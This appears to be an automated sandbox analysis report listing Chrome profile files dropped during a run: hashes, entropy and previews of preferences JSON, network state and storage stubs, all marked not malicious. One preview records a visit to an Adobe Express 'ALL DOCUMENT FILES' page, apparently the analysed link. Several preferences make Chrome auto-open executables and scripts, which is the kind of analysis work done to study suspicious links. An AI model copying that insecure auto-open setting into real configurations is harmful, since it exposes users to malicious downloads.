C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\5d6ea54c-e019-4ce6-9e3e-3cb5b4fcf7c6.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\5d88e26a-4428-4400-a0c1-3a8666091e63.tmp
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SSDEEP: 3:L:L

MD5: 5058F1AF8388633F609CADB75A75DC9D

SHA1: 3A52CE780950D4D969792A2559CD519D7EE8C727

SHA-256: CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8

SHA-512: 0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F2
5F21

Malicious: false

Reputation: low

Preview: .

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 3488

Entropy (8bit): 4.95619745691114

Encrypted: false

SSDEEP: 48:Yc4vl2rAXqwoTw0aqO8cO1TSUQ/9BhUIEyMoI3HmeSye7peVGpHUtqoonVuzip:nVznDAaRWMoiVmdek0tMVuzip

MD5: 7BB09EBCE78EF033D1C4586DC60AA47A

SHA1: 1298A1DA2305C46051E66AF5810A9CAF24DE8996

SHA-256: 6E74F419FF92B4A9AA26F1E9B0DC36C1871C4239188443F22E1E76803A091807

SHA-512: 2A6992019CD16AEBCDDD449799D5E8BA0B3106CA39BA3AE201E89B6C6430101D1D6BD8AEDF1B536D8F56698A95E26E33FDAE5742F18BD5B20C18D40A068159
EB

Malicious: false

Reputation: low

Preview: {"account_id_migration_state":2,"account_tracker_service_last_update":"13298139892708830","alternate_error_pages":{"backup":true},"autofill":{"orphan_rows_remov
ed":true},"browser":{"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_righ
t":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"this_week_number":2734},"default_apps_install_state":2,"domain_diversity":{"last_rep
orting_timestamp":"13298139892695632"},"extensions":{"alerts":{"initialized":true},"chrome_url_overrides":{},"last_chrome_version":"92.0.4515.107"},"gcm":{"prod
uct_category_for_subtypes":"com.chrome.windows"},"google":{"services":{"signin_scoped_device_id":"1bae182b-ba04-43f3-887b-5b5f1c4f2764"}},"intl":{"selected_lang
uages":"en-US,en"},"invalidation":{"per_sender_topics_to_handler":{"1013309121859":{},"8181035976":{}}},"media":{"device_id_salt":"DD14E0895A74AB79AEB
CD5C43FFAC694","engagement":{"schema_version":4}},

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 18395

Entropy (8bit): 5.555120868193625

Encrypted: false

SSDEEP: 384:6ortfLl1Xd1kXqKf/pUZNCgVLH2HfEMrU/HGJLuI74y:HLlRd1kXqKf/pUZNCgVLH2HfbrUvGv7F

MD5: 0FEE65F6B1475B68F614A03C61AA138C

SHA1: 4548DDC90ED86D173E4726AEBF2CCD62688ABB52

SHA-256: 4A3D53E00B230C6F20E73FC0A02914DB7A94DA021A622B44D7A32B89AB995B2D

SHA-512: 12E53B31CB7E53BCBFE70F15CF7410204D892052CBDA58E5B942A14A2A21CE375EAD121DDA71E48935D0E025E2060FCFF507B2CA84BBC1604CB0A53F32785A
42

Malicious: false

Reputation: low

Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
t:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13298139891234227","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 16305

Entropy (8bit): 5.567913905745722

Encrypted: false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\6b723081-41ee-406a-9d07-5e26f815dac8.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\6fb9b38f-b0ab-489b-8a84-cea8d807f9f2.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\77850723-ea89-4f46-b2ee-9fadb09d5251.tmp
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SSDEEP: 384:6ortYLl1Xd1kXqKf/pUZNCgVLH2HfEMrUxuGv74m:gLlRd1kXqKf/pUZNCgVLH2HfbrU9v7t

MD5: BAB106BF0AFAA14C6AC102B3E4056CE0

SHA1: 0AC66C0244A146C11B9EA6F7CDF81BDC63C729CF

SHA-256: 6565B1BA4501250E59045F1EF695C35B45631158B83D4C5A3F26E1583C23712B

SHA-512: 08B7DDF7A77B722C6B23BA4A4FA94AE9E5FFBBFDAD10162BA1E14C3F687DA245416DDA47D95F106742F1E0CBF9A522BCE8B3F78E0BF6E0E281F7F81F8A853
586

Malicious: false

Reputation: low

Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
t:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13298139891234227","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 11336

Entropy (8bit): 6.0707244876366575

Encrypted: false

SSDEEP: 192:AbylJnlTwGB7V9Hne4qasKxXItmLG48gcLg/PkI:Ab+nldByaFx4toj8VEPT

MD5: 2E2110A99AD3AE9721A458C95C64C868

SHA1: 72AE17599EDC0B2DC61C41D946E3E296864F2CBA

SHA-256: BB46BA705D5F6F43F66B07EA5DA4CC7CC0BF8FE635CCC4EBBA30A5D4A54158DE

SHA-512: 29D95D043F3E529DD33F73B3207A9167D479D9FC404209497B53229CF68AA634CB8A1FE3FD08512FD7F48AFB567144DB873FBBDAD8171D42968B97357F06BC1E

Malicious: false

Reputation: low

Preview: {"file_hashes":[{"block_hashes":["8D+nOE33nrpuAnTVcJlgMPWVo79reBkp3Z22WTJi5B8="],"block_size":4096,"path":"_locales/nb/messages.json"},{"block_hashes":
["A+1PYW3V6CJbBuQ7aqrgYhyH3bT8PKyBXp3hN2slpI0=","WSOpQRkYTHjPSlG9Zif2a7TNhy43NDcG1Zg5Nv0UbH0=","jDctR8ImG5KZrQKm4kDjUB7FokSJfjo/p
mvFowRVlaY=","LPxhhJiuU0lprt0T6flpS7TkaDg7MocrbmzO65xH6RI=","nZ9zLb2By96AkKXALRM+C0Eu11XUjPiMXEKjiCPdtHE=","wifibc1QfMBN2jrtUtLgsCefvuceTpAa
tmLvul11RJA=","dHjWlSIIdjj7MWqg3T8MG58RuuqRXk32vqi/13JqEgA=","zd3DV7dbvfNvx1hdhU01fW5ily52DLN0CFL/ADaEeTI=","DpjXcO85FFFY9KJFPkGNf
FUtdQIOsGwO5jUckiUwY14=","gqid6l1+mk/6yWgUECRofI9lMipXgXh2jEN2+CxmPE0=","prDB91X2Mmfg/M/txVMITWBmEGbOGjqBTP7CMjYqdHs=","yLPAqV4gqo
yS/zFkEt3Cn2j0q2v9QOSthVFfWn8EzCM=","EPQ3jzdrLkAHyvf3920B5Y3aAkO1IJdn/UtbnAmq6T0=","+oOc6ca+ChKUpTu+oa2ZRxRE+wG3QJmuYWEvYCs40NI=",
"3mBGNAiRlTANEQkqzU3TEi+5wJ0ubR5uwtS4/9OOM7w=","1A9NNawxuhu95H5eThvf1rewJ4QQWhhPNxJXO1C/n68=","E3vWLQxzmj+e5QxYbUscllJ5n0ITpw5JBHV
1Kph3/KM=","i3I8ghdTF9c1ZXNBZmvsID+DV4gxBVN27rj9wsMtRpg=","R

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: MS Windows icon resource - 13 icons, 8x8, 32 bits/pixel, 10x10, 32 bits/pixel

Category: dropped

Size (bytes): 181072

Entropy (8bit): 5.774426487043815

Encrypted: false

SSDEEP: 1536:avbYFOZyYb37psk2SVlfN/qskVMxoZ51+XBY95/E5cCDd4QAOXxfzUBn2Y2l3P:a8Y7wqFTkVMO51+XBY96Nd4ByVuV2l3P

MD5: 1B40AC9ABB964672109D49ABFCFE2717

SHA1: 966E224F2887075825D42D2E7E0063BFAA81A99C

SHA-256: 503149B1B47F8296DEDB800251DBD9AF614856F0D7E6AB1C03DBC90EBCE53674

SHA-512: 00B50E49CAFD8246102BB460C7B96C20B50A2DDCB48A64C40D65901B517A2698DB9C5AA5EC7F143314DDB8D74624377F12A95C7F4D9FCE206473E8BBF126388
B

Malicious: false

Reputation: low

Preview: ............ .H............. ............... .p............. .h...n......... ............... .........  .... .....n...((.... .h.......00.... ..%..~H..@@.... .(B..&n..``.... .....N......... .(....D........ .2v...M..(............. ...........
......................]..X\.).H...>..Z............\..._...V...F...A...A.......^..Wb...f.)...l...v.M...B...@..Wc...[.....z...`...J.....9...E...k...R.D.......G...A.....;...E...h..XKd..KW..........D...>...=..X....
GQ.JW..;M..8K..@H..=;.............JV.YKV.IT.BS.Y........................................(............. .....................................[..TZ.5.B...@..T................X...]...`...\...K...D...A...;.......3...\...e...
V...h.).d.G.<...F...@...3...^..Td...X.....e....v.....:...E...=..T`...d...h.B.....?...;...O...B...A...b.!.g...Ru......9...8...P...C...C...l..U].M.5@..............6...C...@..T....EW..LX..=K..O
b..Me..5R..AX..;V..++......BL..KW..KW..DO..BL..EN..AJ..;1..................HT.UIV.FT.BQ.U..............................

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_1\_metadata\comput

ed_hashes.json

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Google Profile.ico (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Provider Cache
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Category: dropped

Size (bytes): 663

Entropy (8bit): 5.292115049039822

Encrypted: false

SSDEEP: 12:Wgg5mAraxh3gadLdwc4UvMIP1rHvOuh3KBk778B/xgskZBaknhvfW3m:o5mzh3gMsen1rHvOA3IY78BJgskfakhB

MD5: 959ABB65119D1D1628C3B045F90F802C

SHA1: 3393552CCA744CECD8786D45E5EC93311A3651A0

SHA-256: 54E3720FA3E2C65956FE562048E4AE0E6652DD0D84674FA738ABF18B2E4DC675

SHA-512: 895B1FA303823E3B15662BC5DE9BA476AAB84CA5C7067D9514F1D0C268ABD7F035C0DFB3D1F56F69DCA4C5AB1934DAF26A1DEA0F7954DCFD5B2149A587CA8
53D

Malicious: false

Reputation: low

Preview: ............."I....adobe..all..com..document..express..files..https..page..vctym3h0r9bmz*m......adobe......all......com......document......express......files......https......page..
....vctym3h0r9bmz..2.........0........3........9........a..........b.........c..........d.........e............f........g........h.........i........l.........m..........n........o..........p..........r.........s..........t..........u.......
.v........x........y........z...:S...................................................................................Bg...c...... .......*-https://express.adobe.com/page/vCTYm3h0r9BmZ/2.ALL DOCUMENT F
ILES:...............J....................

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 1844

Entropy (8bit): 4.932461938228173

Encrypted: false

SSDEEP: 48:Y2TtwDHXPqnyv3zsAfARLsmjLz6NCaMJzsKSxbD:JTODHXin+2V6safxH

MD5: 72484C7BA065737DF8D0A4523C43172B

SHA1: 6DFDBDF4457E5DB7E427FEA926225D62E6C2793C

SHA-256: 24D9312D07BA0B9929B01EA0AC4955DD1216FCF298C61FA2FF7FBF17B64E857D

SHA-512: 094345227BAC3498B3F3FE940376FBF996316A4C5EF54DEB1232FD2C0497B40501BA921FD48D165878412EBC8C5BD75A5568C3E2D152B6718FCDBD409D88032F

Malicious: false

Reputation: low

Preview: {"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://www.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://ssl.gstatic.com","supports_s
pdy":true},{"isolation":[],"server":"https://ogs.google.com","supports_spdy":true},{"isolation":[],"server":"https://apis.google.com","supports_spdy":true},{"isolation":[],"server"
:"https://update.googleapis.com","supports_spdy":true},{"isolation":[],"server":"https://www.google.com","supports_spdy":true},{"isolation":[],"server":"https://clients2.
googleusercontent.com","supports_spdy":true},{"isolation":[],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3-
29"],"expiration":"13300731894619406","port":443,"protocol_str":"quic"},{"advertised_alpns":["h3-Q050"],"expiration":"13300731894619408","port":443,"protocol_st
r":"quic"}],"isolation":[],"server":"https://accounts.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3-29"

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 4475

Entropy (8bit): 5.047541504746548

Encrypted: false

SSDEEP: 96:nNDMKID4aRWMoiVmde9kxMFP0VrMVXAiZw4:nFMlWMNkxm0Vq

MD5: 1805D64B8B5240D5927E2E5F05CBA202

SHA1: C7F174EB5A6A3C322CDAC89E34D5126E37707F24

SHA-256: F7F343F4421AA06FF8F63A147A4A619D402DEB49A72A3D71B7478EBB5855164F

SHA-512: 1C7F4C0306FDB0244FCB77ED0BADD71DD91814DC365EE5BF8CF06B9ED183A8248BEDE1C48EF78C88CD118B2E422184C8AF17F3F8780261EE4DEEB611EF098
C64

Malicious: false

Reputation: low

Preview: {"account_id_migration_state":2,"account_tracker_service_last_update":"13298139892708830","alternate_error_pages":{"backup":true},"autocomplete":{"retention_pol
icy_last_version":92},"autofill":{"orphan_rows_removed":true},"browser":{"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work
_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"this_week_number":2734,"this_wee
k_services_downstream_foreground_kb":{"112189210":22,"115188287":51,"21145003":243,"35565745":2,"49601082":3,"5151071":2,"54845618":25,"88863520":1}},
"default_apps_install_state":2,"domain_diversity":{"last_reporting_timestamp":"13298139892695632"},"download":{"directory_upgrade":true},"extensions":{"alerts":{"initiali
zed":true},"chrome_url_overrides":{},"last_chrome_version":"92.0.4515.107"},"gaia_cookie":{"changed_time":1653666294.673179,"hash":"2jmj7l5rSw0yVb/vlW
AYkK/YBwk=","last_list_accounts_data":"[\"gaia.l.a

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Persistent State (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences (copy)
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Category: dropped

Size (bytes): 18396

Entropy (8bit): 5.554902404053173

Encrypted: false

SSDEEP: 384:6ortfLl1Xd1kXqKf/pUZNCgVLH2HfEMrU/HG4Lubu74F:HLlRd1kXqKf/pUZNCgVLH2HfbrUvGw76

MD5: 778B0E168896C3343C9406B15BCADA1F

SHA1: 734E0055CDD8506C9DC4AFAF7ABF47BC962590DE

SHA-256: 6D1FB693669D5172CFF5C2BC4B5160E56C40CE073A66AB8B65C07D8EFB9F2847

SHA-512: A2928F40D451E6E4E227521183D094FC985DABB930F54237E0E42EA678945ABFB63F530F721B3BC0AFBE2E52F672E9B130656464480163044AE6AE28BF7A83EB

Malicious: false

Reputation: low

Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
t:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13298139891234227","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 139

Entropy (8bit): 4.762700853527964

Encrypted: false

SSDEEP: 3:YLb9N+eAXRfHDH2LS7PMVKJqjn1KKtiKnMb1KKtiVY:YHpoeS7PMVKJw1K3KnMRK3VY

MD5: 038931FF72A0C6AA0695A404960B1B22

SHA1: 90802F36B75C3CA70FC8CD1CF8BDFBAE0E8723A4

SHA-256: BEF93811AE263E2E9145A44205340015843B1D4485D084BB642EAEB500FE564C

SHA-512: 97903821D21BB748255C29BE83BCA5BE61E0E36719050D4BB780EBC35424202A23F3ED4EE0056833E7748F1D55D82A5F38476298C5012202776BEA411DA7001E

Malicious: false

Reputation: low

Preview: {"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 270336

Entropy (8bit): 0.0012471779557650352

Encrypted: false

SSDEEP: 3:MsEllllkEthXllkl2zE:/M/xT02z

MD5: F50F89A0A91564D0B8A211F8921AA7DE

SHA1: 112403A17DD69D5B9018B8CEDE023CB3B54EAB7D

SHA-256: B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC

SHA-512: BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898
D58

Malicious: false

Reputation: low

Preview: ..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: dropped

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\54e3e1bd-ccbb-4427-be2a-

ad4e4c511469.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\GPUCache\data_1

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Network Persistent State

(copy)
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Size (bytes): 139

Entropy (8bit): 4.762700853527964

Encrypted: false

SSDEEP: 3:YLb9N+eAXRfHDH2LS7PMVKJqjn1KKtiKnMb1KKtiVY:YHpoeS7PMVKJw1K3KnMRK3VY

MD5: 038931FF72A0C6AA0695A404960B1B22

SHA1: 90802F36B75C3CA70FC8CD1CF8BDFBAE0E8723A4

SHA-256: BEF93811AE263E2E9145A44205340015843B1D4485D084BB642EAEB500FE564C

SHA-512: 97903821D21BB748255C29BE83BCA5BE61E0E36719050D4BB780EBC35424202A23F3ED4EE0056833E7748F1D55D82A5F38476298C5012202776BEA411DA7001E

Malicious: false

Reputation: low

Preview: {"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 16

Entropy (8bit): 3.2743974703476995

Encrypted: false

SSDEEP: 3:1sjgWIV//Uv:1qIFUv

MD5: 46295CAC801E5D4857D09837238A6394

SHA1: 44E0FA1B517DBF802B18FAF0785EEEA6AC51594B

SHA-256: 0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443

SHA-512: 8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23

Malicious: false

Reputation: low

Preview: MANIFEST-000001.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 16

Entropy (8bit): 3.2743974703476995

Encrypted: false

SSDEEP: 3:1sjgWIV//Uv:1qIFUv

MD5: 46295CAC801E5D4857D09837238A6394

SHA1: 44E0FA1B517DBF802B18FAF0785EEEA6AC51594B

SHA-256: 0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443

SHA-512: 8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23

Malicious: false

Reputation: low

Preview: MANIFEST-000001.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: PGP\011Secret Key -

Category: dropped

Size (bytes): 41

Entropy (8bit): 4.704993772857998

Encrypted: false

SSDEEP: 3:scoBAIxQRDKIVjn:scoBY7jn

MD5: 5AF87DFD673BA2115E2FCF5CFDB727AB

SHA1: D5B5BBF396DC291274584EF71F444F420B6056F1

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage\00000

1.dbtmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage\CURRENT

(copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage\MANIFEST-

000001
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SHA-256: F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4

SHA-512: DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C23
75B

Malicious: false

Reputation: low

Preview: .|.."....leveldb.BytewiseComparator......

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 139

Entropy (8bit): 4.762700853527964

Encrypted: false

SSDEEP: 3:YLb9N+eAXRfHDH2LS7PMVKJqjn1KKtiKnMb1KKtiVY:YHpoeS7PMVKJw1K3KnMRK3VY

MD5: 038931FF72A0C6AA0695A404960B1B22

SHA1: 90802F36B75C3CA70FC8CD1CF8BDFBAE0E8723A4

SHA-256: BEF93811AE263E2E9145A44205340015843B1D4485D084BB642EAEB500FE564C

SHA-512: 97903821D21BB748255C29BE83BCA5BE61E0E36719050D4BB780EBC35424202A23F3ED4EE0056833E7748F1D55D82A5F38476298C5012202776BEA411DA7001E

Malicious: false

Reputation: low

Preview: {"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 270336

Entropy (8bit): 0.0012471779557650352

Encrypted: false

SSDEEP: 3:MsEllllkEthXllkl2zE:/M/xT02z

MD5: F50F89A0A91564D0B8A211F8921AA7DE

SHA1: 112403A17DD69D5B9018B8CEDE023CB3B54EAB7D

SHA-256: B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC

SHA-512: BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898
D58

Malicious: false

Reputation: low

Preview: ..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 139

Entropy (8bit): 4.762700853527964

Encrypted: false

SSDEEP: 3:YLb9N+eAXRfHDH2LS7PMVKJqjn1KKtiKnMb1KKtiVY:YHpoeS7PMVKJw1K3KnMRK3VY

MD5: 038931FF72A0C6AA0695A404960B1B22

SHA1: 90802F36B75C3CA70FC8CD1CF8BDFBAE0E8723A4

SHA-256: BEF93811AE263E2E9145A44205340015843B1D4485D084BB642EAEB500FE564C

SHA-512: 97903821D21BB748255C29BE83BCA5BE61E0E36719050D4BB780EBC35424202A23F3ED4EE0056833E7748F1D55D82A5F38476298C5012202776BEA411DA7001E

Malicious: false

Reputation: low

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\536d52c7-27ae-4f8b-9853-

eb6680e3d592.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network Persistent State

(copy)
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Preview: {"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 16

Entropy (8bit): 3.2743974703476995

Encrypted: false

SSDEEP: 3:1sjgWIV//Uv:1qIFUv

MD5: 46295CAC801E5D4857D09837238A6394

SHA1: 44E0FA1B517DBF802B18FAF0785EEEA6AC51594B

SHA-256: 0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443

SHA-512: 8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23

Malicious: false

Reputation: low

Preview: MANIFEST-000001.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 16

Entropy (8bit): 3.2743974703476995

Encrypted: false

SSDEEP: 3:1sjgWIV//Uv:1qIFUv

MD5: 46295CAC801E5D4857D09837238A6394

SHA1: 44E0FA1B517DBF802B18FAF0785EEEA6AC51594B

SHA-256: 0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443

SHA-512: 8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23

Malicious: false

Reputation: low

Preview: MANIFEST-000001.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: PGP\011Secret Key -

Category: dropped

Size (bytes): 41

Entropy (8bit): 4.704993772857998

Encrypted: false

SSDEEP: 3:scoBAIxQRDKIVjn:scoBY7jn

MD5: 5AF87DFD673BA2115E2FCF5CFDB727AB

SHA1: D5B5BBF396DC291274584EF71F444F420B6056F1

SHA-256: F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4

SHA-512: DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C23
75B

Malicious: false

Reputation: low

Preview: .|.."....leveldb.BytewiseComparator......

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage\00000

1.dbtmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage\CURRENT

(copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage\MANIF

EST-000001

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\TransportSecurity (copy)
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Category: dropped

Size (bytes): 875

Entropy (8bit): 5.570098251654103

Encrypted: false

SSDEEP: 12:YI9Mkq/HH+UAnIOVRWcNnYj+UAnIblogp6BN+UAnIOsHhRR7N+UAnI02dmHt0FKR:YIakq/HeU4nWaUxuwUX7wU+tVRUJQ

